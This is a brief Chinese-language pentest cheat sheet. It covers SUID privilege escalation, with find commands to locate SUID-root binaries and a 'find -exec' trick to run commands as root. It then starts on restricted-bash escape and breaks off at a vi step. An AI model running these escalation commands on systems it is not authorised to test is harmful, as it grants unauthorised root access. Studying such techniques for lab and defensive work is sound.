1.suid提权
运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行)
搜索符合条件的可以用来提权的:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -user root -perm -4000 -print 2>/dev/null
三种都可以
搜索可以提权的程序,一般有以下 :
nmap vim find Bash More Less Nano cp
举例:find提权
find / -perm -u=s -type f 2>/dev/null
发现find可以利用
普通用户,进入到/tmp目录下,然后新建一个文件。
touch abcd
find abcd -exec whoami ;
会发现已经是root权限
2.rbash绕过
rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,我们可以查看$PATH有哪些,或者自己挨个试
echo $PATH #查看自己可以使用的命令
less,ls,scp,vi 是我们可以用的
尝试用以下来绕过
#干就完事了
1.
vi test